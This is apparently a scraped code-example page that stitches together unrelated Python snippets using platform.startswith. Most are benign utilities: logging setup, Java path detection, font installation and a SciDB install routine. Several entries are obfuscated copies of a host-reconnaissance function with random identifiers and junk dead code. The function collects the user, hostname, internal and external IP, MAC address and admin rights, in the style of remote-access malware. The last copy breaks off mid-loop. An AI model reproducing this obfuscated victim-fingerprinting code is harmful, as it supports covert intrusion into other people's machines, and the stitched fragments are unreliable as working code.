        if kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw and (
                6 < len(kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw) < 16):
            break
    ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = False
    if plat_type.startswith('win'):
        ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj = os.getuid() == 0
    veDmIKhwRrDvzfFZUqxasZyVCIKNCZAd = 'Yes' if ZUOMyKrZcRNlTnuttdGXYSJvEvDlxMDj else 'No'
    TgcvYrJVgOmVrqHKMwCcAtwzVkaBwGTb = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        qzJNSkSLfUeWqKBHqpLmzmfEMcCvAaPd, processor, architecture,
        soJjjIqczmKOvESGAWGZjvcRfnXqsQSD, KsAfHQHjaKhZFQzJniEbnQUqHwcGyXfQ,
        nLbAeQlSbZHGzzfBQuwGCXHaROxgvpYx, kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw,
        GqekErLaizvNJiVrKOCNmMKDFRQmcixk, ETNCUNIGUjIalLBUhujPLpRyQLeCWlnW,
        veDmIKhwRrDvzfFZUqxasZyVCIKNCZAd)
    return TgcvYrJVgOmVrqHKMwCcAtwzVkaBwGTb
示例#29
0
def ARakDxFSUheNtJlTHfcXYGrHeJqrDiaq(plat_type):
    JVmRIYyhtvXBDWYNUUVeQuYgQxkQqSRS = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    VRWXUoSjXAbBusyhiWkiysNtazYdXwPD = getpass.getuser()
    JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl = socket.gethostname()
    bQomPMeRSAXnEnCvBwqKteQpamovIEYK = socket.getfqdn()
    ZFGAcTySaVaPzNidGzlNmtErhyTmUpVt = socket.gethostbyname(
        JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl)
    nCupYdZsRReKtnwWLhZqjePSBjgDMBBP = uuid.getnode()
    ahSqfqLLhzyFlbeaikiQAMUSOzydlCLN = ':'.join(
        ("%012X" % nCupYdZsRReKtnwWLhZqjePSBjgDMBBP
         )[kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs:kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs +
           2] for kJsMTlOenjgnlvKLOJTqQqAwyESQpoCs in range(0, 12, 2))
    DLnCpoaWWGWzsvSbyDtGSSjPJGUpGMWi = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc = ''
    for fzXeczXGLhpJOfWdZElFRIoIeGiUwvoU in DLnCpoaWWGWzsvSbyDtGSSjPJGUpGMWi:
        try:
            fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc = urllib.urlopen(
                'http://' + fzXeczXGLhpJOfWdZElFRIoIeGiUwvoU).read().rstrip()
        except IOError:
            pass
        if fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc and (
                6 < len(fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc) < 16):
            break
    JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = False
    if plat_type.startswith('win'):
        JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF = os.getuid() == 0
    OhoIRypBVYNCHlePjqEKoHlQKQnPRoKR = 'Yes' if JKzZTHbaEoymVNxsDYIkLQwIMxCKpxTF else 'No'
    HYaFkryVhUObaaOyqrnxTuMhUILBwDis = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        JVmRIYyhtvXBDWYNUUVeQuYgQxkQqSRS, processor, architecture,
        JkeCHzeBzOfgvRejYdwohVmGLPTYoPdl, bQomPMeRSAXnEnCvBwqKteQpamovIEYK,
        ZFGAcTySaVaPzNidGzlNmtErhyTmUpVt, fGhWetlfJsqYDIqGLYtndCkzYDjFcmJc,
        ahSqfqLLhzyFlbeaikiQAMUSOzydlCLN, VRWXUoSjXAbBusyhiWkiysNtazYdXwPD,
        OhoIRypBVYNCHlePjqEKoHlQKQnPRoKR)
    return HYaFkryVhUObaaOyqrnxTuMhUILBwDis
示例#30
0
 def os(self):
     """
 Return values:
 linux, unknown
 
 In case cannot detect raises 'unknown'
 """
     platform = sys.platform
     if platform.startswith('linux'):
         return "linux"
     else:
         return "unknown"
示例#31
0
def riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(plat_type):
    VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    ISvdlpvhewrgirYoFDnjblNtehwPhMMK = getpass.getuser()
    GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX = socket.gethostname()
    oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA = socket.getfqdn()
    DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW = socket.gethostbyname(
        GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX)
    XCzKfToqYYbGKorTvIgDxVrFeMjXygKx = uuid.getnode()
    QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho = ':'.join(
        ("%012X" % XCzKfToqYYbGKorTvIgDxVrFeMjXygKx
         )[tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ:tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ +
           2] for tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ in range(0, 12, 2))
    VocjrvTEIWoPKacANvWfHkJqecVvSYGZ = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = ''
    for cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs in VocjrvTEIWoPKacANvWfHkJqecVvSYGZ:
        try:
            IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = urllib.urlopen(
                'http://' + cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs).read().rstrip()
        except IOError:
            pass
        if IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy and (
                6 < len(IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy) < 16):
            break
    DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = False
    if plat_type.startswith('win'):
        DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = os.getuid() == 0
    cJHuovVxMjahBNdXgnBdZRbXZzdthnDi = 'Yes' if DdJfnCODkxsaqSrinvllhdHJcQrqZpdR else 'No'
    GAcOCEdSOvLkYQekjjusUCJuXgDnqExO = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ, processor, architecture,
        GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX, oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA,
        DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW, IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy,
        QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho, ISvdlpvhewrgirYoFDnjblNtehwPhMMK,
        cJHuovVxMjahBNdXgnBdZRbXZzdthnDi)
    return GAcOCEdSOvLkYQekjjusUCJuXgDnqExO
示例#32
0
def fRTWRMDwKMKaMMycbCQhFAtbEWeTzpNy(plat_type):
    ZLWFyQexObWDAVRgVOJuNGQAedCeFocT = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    oBrOxpWZDpabzaLkTAJesLGjPbBlFraK = getpass.getuser()
    uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr = socket.gethostname()
    zeWDOsIDNjfcOgoDtoXXwJAIcvanDOes = socket.getfqdn()
    lmiVTKRFAoTwRlpedbOOJrmIRDOaQgUT = socket.gethostbyname(
        uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr)
    mPhVbEQrhRtgorOCfJTSQasOGECJdpuM = uuid.getnode()
    ZtEUSaviunQGzuUFvZAlKjoxXPcpqgyo = ':'.join(
        ("%012X" % mPhVbEQrhRtgorOCfJTSQasOGECJdpuM
         )[yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC:yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC +
           2] for yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC in range(0, 12, 2))
    IiaItVCmjDDlMxTgJAgMuMzOyIgjIbBu = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ = ''
    for NfoGrMlbvfpbjpDqKvyqgneTBRjEqipy in IiaItVCmjDDlMxTgJAgMuMzOyIgjIbBu:
        try:
            OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ = urllib.urlopen(
                'http://' + NfoGrMlbvfpbjpDqKvyqgneTBRjEqipy).read().rstrip()
        except IOError:
            pass
        if OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ and (
                6 < len(OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ) < 16):
            break
    uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = False
    if plat_type.startswith('win'):
        uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = os.getuid() == 0
    xsOwClbybXVQtKGYGvPInPMiscPpfWkZ = 'Yes' if uhfZDdczDpVwciBNRUKKQBRRJMADcVGe else 'No'
    xknplISuOFxzVrlhpVCqlAfQmvrfNmqg = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        ZLWFyQexObWDAVRgVOJuNGQAedCeFocT, processor, architecture,
        uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr, zeWDOsIDNjfcOgoDtoXXwJAIcvanDOes,
        lmiVTKRFAoTwRlpedbOOJrmIRDOaQgUT, OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ,
        ZtEUSaviunQGzuUFvZAlKjoxXPcpqgyo, oBrOxpWZDpabzaLkTAJesLGjPbBlFraK,
        xsOwClbybXVQtKGYGvPInPMiscPpfWkZ)
    return xknplISuOFxzVrlhpVCqlAfQmvrfNmqg
示例#33
0
    def __init__(self, port, output_path, **kwargs):
        if not platform.startswith("linux"):
            raise OSError("Unsupported platform!")

        super().__init__(**kwargs)

        cmd_list = [
            "(stty raw; cat > {}) < {}".format(output_path, port)
        ]
        options = {
            "background": True,
            "shell": True,
        }
        self._proc = execute_command(cmd_list, **options)
示例#34
0
 def enable_chinese(self,prefer_internal=False):
     import os
     import platform
     from matplotlib.font_manager import FontProperties
     use_internal = prefer_internal
     if use_internal:
         platform = platform.system().lower()
         if platform.startswith('win'):
             use_internal = False
         else:
             interal_zh = '/Library/Fonts/Songti.ttc'
             if not os.path.exists(interal_zh):
                 use_internal = False
             else:
                 self.zh_font = FontProperties(fname = interal_zh)
                 self.using_fname = interal_zh
     if not use_internal:
         import os
         inner_path = os.path.dirname(os.path.realpath(__file__))
         font_name = 'plot_zh.ttf'
         font_lib = '~/Library/Fonts/'
         font_lib = os.path.expanduser(font_lib)
         try_download = False
         
         if not os.path.exists(font_lib):
             os.makedirs(font_lib)
         try:
             if not os.path.exists(font_lib + font_name):   
                 import shutil
                 font_full_path = os.path.join(inner_path,font_name)
                 shutil.copy2(font_full_path, font_lib)
                 cprint('Font installed at the first runtime')                 
         except Exception:
             # try downloading
             cprint('try downloading')
             try_download = True
         if try_download:
             try:
                 self.__fetch_font(font_lib + font_name)
                 if os.path.exists(font_lib + font_name):
                     cprint("Font installed at the first time")
                 else:
                     cprint("cannot download")
             except Exception as e:
                 raise Exception("Download Failed:" + str(e))
         
         if os.path.exists(font_lib + font_name):
             self.zh_font = FontProperties(fname = font_lib + font_name)
             self.using_fname = font_lib + font_name
示例#35
0
def set_logger(log_level):
    """Set the script logger."""

    platform = guessed_platform()

    level = LOG_LEVELS.get(log_level, DEFAULT_LOG_LEVEL)
    formatting = "[%(levelname)s] %(message)s"
    if platform.startswith('linux'):
        formatting = "\033[0;%(levelcolor)sm" + formatting + "\033[0m"
    formatter = ColoredFormatter(formatting)
    handler = StreamHandler(None)
    handler.setLevel(level)
    handler.setFormatter(formatter)
    logger = getLogger()
    logger.setLevel(level)
    logger.addHandler(handler)
示例#36
0
def get_model_file(task, platform, basedir=None):
    """Model name file helper to abstract different DL platforms (FWs)

    :param dictionary:
    :param task:
    :param platform:
    :return:
    """
    basedir = './' if basedir is None else basedir
    base = '{}/{}-model'.format(basedir, task)
    rid = os.getpid()
    if platform.startswith('pyt'):
        name = '%s-%d.pyt' % (base, rid)
    else:
        name = '%s-%s-%d' % (base, platform, rid)
    logger.info('model file [%s]' % name)
    return name
示例#37
0
def detect_model_from_host_platform():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):   # assume an Intel Windows
            return MODEL_X86
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    #
    result ={'i386': MODEL_X86,
            'i486': MODEL_X86,
            'i586': MODEL_X86,
            'i686': MODEL_X86,
            'i86pc': MODEL_X86,    # Solaris/Intel
            'x86': MODEL_X86,      # Apple
            'Power Macintosh': MODEL_PPC_64,
            'x86_64': MODEL_X86,
            'amd64': MODEL_X86,    # freebsd
            'AMD64': MODEL_X86,    # win64
            'armv7l': MODEL_ARM,
            'armv6l': MODEL_ARM,
            }[mach]
    #
    if result.startswith('x86'):
        if sys.maxint == 2**63-1:
            result = MODEL_X86_64
        else:
            assert sys.maxint == 2**31-1
            from rpython.jit.backend.x86.detect_sse2 import detect_sse2
            if detect_sse2():
                result = MODEL_X86
            else:
                result = MODEL_X86_NO_SSE2
    #
    if result.startswith('arm'):
        from rpython.jit.backend.arm.detect import detect_float
        assert detect_float(), 'the JIT-compiler requires a vfp unit'
    #
    return result
示例#38
0
def get_model_file(task, platform, basedir=None):
    """Model name file helper to abstract different DL platforms (FWs)

    :param dictionary:
    :param task:
    :param platform:
    :return:
    """
    basedir = './' if basedir is None else basedir
    base = '{}/{}-model'.format(basedir, task)
    rid = os.getpid()
    if platform.startswith('pyt'):
        name = '%s-%d.pyt' % (base, rid)
    else:
        name = '%s-%s-%d' % (base, platform, rid)
    logger.info('model file [%s]' % name)
    return name
示例#39
0
def get_local_inbox_path(platform: Text) -> Text:
    """
    Return base path to local email inbox given a platform.

    Arguments:
    platform -- platform as lowercase string

    Returns:
    Path to inbox as string

    """
    platform = platform.lower()

    if platform in ['osx', 'mac', 'darwin']:
        return LOCAL_INBOX_PATH_OSX
    if platform.startswith('linux'):
        return LOCAL_INBOX_PATH_LINUX

    raise Exception('Unknown platform')
示例#40
0
def XkzeDrNjOxKRNFyUvDKlNpoqbMQVKThp(plat_type):
    xuJglnGHeqMqcRKeEeUkcfdAjEhPwxPy = platform.platform()
    processor    = platform.processor()
    architecture = platform.architecture()[0]
    HhBhooNaLdBaUMtdSHtERdmjPbpJEwBI = getpass.getuser()
    fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq    = socket.gethostname()
    RKumwtlEPUidJqNudDwgyffUxdbsspQs        = socket.getfqdn()
    yAGloBPIphHuHxoqaYhkRSPbxCCiWFZp = socket.gethostbyname(fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq)
    hslwygYEGqcWKWfoqxgpSRWNoLgmRcpz     = uuid.getnode()
    JRhjybcSeCohnjaTFtxyYhJrUhCyeNmi         = ':'.join(("%012X" % hslwygYEGqcWKWfoqxgpSRWNoLgmRcpz)[hscswvelsmekdrdqbSsXHYBuqgXbSmcs:hscswvelsmekdrdqbSsXHYBuqgXbSmcs+2] for hscswvelsmekdrdqbSsXHYBuqgXbSmcs in range(0, 12, 2))
    YILvnuhlFtuEdRBwJPcrGvwPmzXPKGip = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
                   'ipecho.net/plain', 'myexternalip.com/raw' ]
    DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH = ''
    for DupvyQQFsTNzzMdqkTLlsfNBAjsKJLoI in YILvnuhlFtuEdRBwJPcrGvwPmzXPKGip:
        try:
            DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH = urllib.urlopen('http://'+DupvyQQFsTNzzMdqkTLlsfNBAjsKJLoI).read().rstrip()
        except IOError:
            pass
        if DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH and (6 < len(DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH) < 16):
            break
    KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = False
    if plat_type.startswith('win'):
        KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = ctypes.windll.shell32.IsUserAnAdmin() != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = os.getuid() == 0
    evljwLNlpsrlRmZvBcjSKJMCvCPjytrV = 'Yes' if KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu else 'No'
    ZKnRpBuXBwhKJCRBTNbgJFeEDjQtUIKL = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(xuJglnGHeqMqcRKeEeUkcfdAjEhPwxPy, processor, architecture,
    fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq, RKumwtlEPUidJqNudDwgyffUxdbsspQs, yAGloBPIphHuHxoqaYhkRSPbxCCiWFZp, DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH, JRhjybcSeCohnjaTFtxyYhJrUhCyeNmi, HhBhooNaLdBaUMtdSHtERdmjPbpJEwBI, evljwLNlpsrlRmZvBcjSKJMCvCPjytrV)
    return ZKnRpBuXBwhKJCRBTNbgJFeEDjQtUIKL
示例#41
0
def guess_java_home(platform):
    if platform.startswith('linux'):
        try:
            javac_str = '/bin/javac'
            javac_path = subprocess.check_output(['/usr/bin/env',
                         'readlink', '-f', '/usr' + javac_str]).strip()
            if (os.path.isfile(javac_path) and
                javac_path.endswith(javac_str)):
                return javac_path[:-len(javac_str)]
        except subprocess.CalledProcessError as e:
            print(e)
            pass # Fall through to other ways of guessing

    # More guesses
    try:
        if os.path.isfile('/usr/libexec/java_home'):
            return subprocess.check_output('/usr/libexec/java_home').strip()
    except subprocess.CalledProcessError as e:
        print(e)
        pass
    for d in ('/usr/lib/jvm/default', '/usr/lib/jvm/default-java'):
        if os.path.isdir(d):
            return d
示例#42
0
def guess_java_home(platform):
    if platform.startswith('linux'):
        try:
            javac_str = '/bin/javac'
            javac_path = subprocess.check_output(
                ['/usr/bin/env', 'readlink', '-f',
                 '/usr' + javac_str]).strip()
            if (os.path.isfile(javac_path) and javac_path.endswith(javac_str)):
                return javac_path[:-len(javac_str)]
        except subprocess.CalledProcessError as e:
            print(e)
            pass  # Fall through to other ways of guessing

    # More guesses
    try:
        if os.path.isfile('/usr/libexec/java_home'):
            return subprocess.check_output('/usr/libexec/java_home').strip()
    except subprocess.CalledProcessError as e:
        print(e)
        pass
    for d in ('/usr/lib/jvm/default', '/usr/lib/jvm/default-java'):
        if os.path.isdir(d):
            return d
示例#43
0
def execute_restart():
    replace = pending_external and pending_external['replace'] or list()
    delete = pending_external and pending_external['delete'] or list()
    deltree = pending_external and pending_external['deltree'] or list()
    if replace or delete or deltree:
        if platform == "win32":
            return _external_rename_bat(replace, delete, deltree)
        else:
            return _external_rename_sh(replace, delete, deltree)
    else:
        if platform == "macos":
            replace_app(sys.executable, *sys.argv)
        elif platform.startswith("linux"):
            replace_app(sys.executable, ' '.join(sys.argv))
        else:
            cmd = 'cmd /c start "" "' + sys.executable + '"'
            argv = sys.argv[1:]
            if not module_initialized.is_set():
                if '--no-browser' not in argv:
                    argv.append('--no-browser')
                if '--disable-splash' not in argv:
                    argv.append('--disable-splash')
            cmd += ' "' + '" "'.join(argv) + '"'
            replace_app(cmd)
示例#44
0
def get_dart_dl_url(platform):
    if not (platform.startswith("linux-") or platform.startswith("windows-") or
            platform.startswith("macos-")):
        return "https://iot-dsa.github.io/dart-sdk-builds/{0}".format(platform)
    return "https://commondatastorage.googleapis.com/dart-archive/channels/{0}/raw/{1}/sdk/dartsdk-{2}-release.zip".format(DART_SDK_CHANNEL, DART_SDK_VERSION, platform)
示例#45
0
文件: run.py 项目: suhailrehman/scidb
def install(scidbEnv):
    scidbEnv.set_install(True)
    configFile = getConfigFile(scidbEnv)

    if os.access(configFile, os.R_OK):
        stop(scidbEnv)

    db_name = os.environ.get("SCIDB_NAME", "mydb")
    pg_user = os.environ.get("SCIDB_PG_USER", "postgres")

    #
    # This section is for update-alternatives
    # It MUST be kept in sync with the scidb.spec file
    #
    if scidbEnv.args.light:
        # remove all links to the "alternative" libraries
        # thus, allow for the scidb libraries to be loaded again
        printInfo("Removing linker metadata for alternative plugins/libraries, please confirm")
        removeAlternatives(scidbEnv)

    curr_dir = os.getcwd()
    os.chdir(scidbEnv.build_path)

    if not scidbEnv.args.light:
        rm_rf(scidbEnv.install_path + "/*", scidbEnv.args.force)

    mkdir_p(scidbEnv.install_path)

    cmdList = ["/usr/bin/make", "install"]
    ret = executeIt(cmdList)

    os.chdir(curr_dir)

    if scidbEnv.args.light:
        return

    # Generate config.ini or allow for a custom one

    data_path = ""
    if scidbEnv.args.config:
        cmdList = ["cp", scidbEnv.args.config, configFile]
        ret = executeIt(cmdList)
        data_path = getDataPath(configFile, db_name)
    else:
        data_path = os.path.join(scidbEnv.stage_path, "DB-" + db_name)
        data_path = os.environ.get("SCIDB_DATA_PATH", data_path)
        instance_num = int(os.environ.get("SCIDB_INSTANCE_NUM", "4"))
        port = int(os.environ.get("SCIDB_PORT", "1239"))
        host = os.environ.get("SCIDB_HOST", "127.0.0.1")
        no_watchdog = os.environ.get("SCIDB_NO_WATCHDOG", "false")
        no_watchdog = no_watchdog in ["true", "True", "on", "On"]
        generateConfigFile(scidbEnv, db_name, host, port, data_path, instance_num, no_watchdog, configFile)

    # Create log4j config files

    log4jFileSrc = os.path.join(scidbEnv.build_path, "bin/log1.properties")
    log4jFileTgt = os.path.join(scidbEnv.install_path, "share/scidb/log1.properties")

    cmdList = ["cp", log4jFileSrc, log4jFileTgt]
    ret = executeIt(cmdList)

    version = getScidbVersion(scidbEnv)
    platform = getOS(scidbEnv).strip()
    printDebug("platform=" + platform)
    if platform.startswith("CentOS 6"):
        # boost dependencies should be installed here

        boostLibs = os.path.join("/opt/scidb", version, "3rdparty", "boost", "lib", "libboost*.so.*")
        libPathTgt = os.path.join(scidbEnv.install_path, "lib")

        # Move boost libs into the install location

        cmdList = ["cp", boostLibs, libPathTgt]
        ret = executeIt(cmdList, useShell=True)

    # Create PG user/role

    cmdList = [
        "sudo",
        "-u",
        pg_user,
        scidbEnv.scidb_py_path(),
        "init-syscat",
        "--db-password",
        getDBPassword(scidbEnv, db_name, getDBUser(configFile, db_name)),
        db_name,
        os.path.join(scidbEnv.install_path, "etc/config.ini"),
    ]
    ret = executeIt(cmdList)

    # Initialize SciDB

    cmdList = [
        scidbEnv.scidb_py_path(),
        "initall-force",
        db_name,
        os.path.join(scidbEnv.install_path, "etc/config.ini"),
    ]
    ret = executeIt(cmdList)

    # Setup test links

    os.chdir(curr_dir)
示例#46
0
            result.append(port)
        except (OSError, serial.SerialException):
            pass
    return result


result = serial_ports()
platform = platform.system()
print platform


if not result:
    print "No Serialports available"
    print "Press Ctrl+C to close"
else:
    if platform.startswith("Win"):
        print "Available Serialports"
        print result
        var = input("Please select your Serialport:COM")
        var2 = "COM" + str(var)
        print "Connecting to " + var2
        ser = serial.Serial(var2, 9600, timeout=1)
        time.sleep(2)
        print "Connected"
        print "Press Ctrl+C to close"
        while 1:

            print "Getting Data"
            ser.write("t")
            x = ser.read(10)
            print x
示例#47
0
def adblytilFWlQIRkKAVYhFsHxmIHYCAxrZWkCnbOJIjtPOmhCXbzPztuYFGPxuofe(
        plat_type):
    NZsYFDKMHpUmSaGYrBcWqOFwoMZcfRMzYtbBkeijafTNyxCkpHRElHRSJUxaKiNO = platform.platform(
    )
    processor = platform.processor()
    architecture = platform.architecture()[0]
    lgqWchVqcTlLxCZGqHcViwyoDiczHDCLSBTrRFRvyEzQqXDIxLudNtJGjBwOfxDX = getpass.getuser(
    )
    iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt = socket.gethostname(
    )
    OETsJlKMCqNoRhxusurinCctmsKQTACStCkijsTscGcZUhWlfCmhsIYJXXjwWxEv = socket.getfqdn(
    )
    cwOsXijxgvcvFPWhpEAcknlYtRnhIBZOTpmcyLSUAdInbTUnqErjJIxVKoFeCMKh = socket.gethostbyname(
        iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt)
    TEizErOXPurjzaAkmHHWkERBfTiGyfQsWoQJIfAJDzbDbIfyfTARkMiSCEIPLIwZ = uuid.getnode(
    )
    APsxgfOBoBTdWJdhRGihnSCpHNnrRxFlkNkUyBNTcPyIdwyUsPcMRNdTxtaFYAyN = ':'.join(
        ("%012X" %
         TEizErOXPurjzaAkmHHWkERBfTiGyfQsWoQJIfAJDzbDbIfyfTARkMiSCEIPLIwZ
         )[LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW:
           LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW +
           2]
        for LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW in
        range(0, 12, 2))
    GBvmVgTRXqDRgtiwBbeVpouqIgDUrWekvCxGFFUtHWlUXavKXLdpLGwMEpsSZtLa = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi = ''
    qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'KafTxLSDEqvPOGcNqQursyloGaNqLQfONBVHyNbWdgmGjjBUYOMuuXDYdktTLlqj'
    VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo = 'lXOTZbakSwIQEVzyfRvmtmHjyglEsinmVrOFapWUgOnrLpTYCqCwBBpHYFQDxhUh'
    if qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt != VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo:
        qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'lXOTZbakSwIQEVzyfRvmtmHjyglEsinmVrOFapWUgOnrLpTYCqCwBBpHYFQDxhUh'
        VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo = qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt
        qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'KafTxLSDEqvPOGcNqQursyloGaNqLQfONBVHyNbWdgmGjjBUYOMuuXDYdktTLlqj'
    for bDVfKcGTNKDDgGMMCmHdLopeaFuvewAnGankZNCojDNPJHCBDTTJiulhiTJNHtps in GBvmVgTRXqDRgtiwBbeVpouqIgDUrWekvCxGFFUtHWlUXavKXLdpLGwMEpsSZtLa:
        HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = 'BkHttXYOVttwUqmRujChVQwBzvoXgDGuyhcxvOUmSVtfLXbJhlaVOFSpMhvPdZhc'
        wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX = 'zufjgkCIvTgWdbAYmXZNNcChcBvLRREPvUUwBEyAaimvtQmbKQWhobVtERqVwLeX'
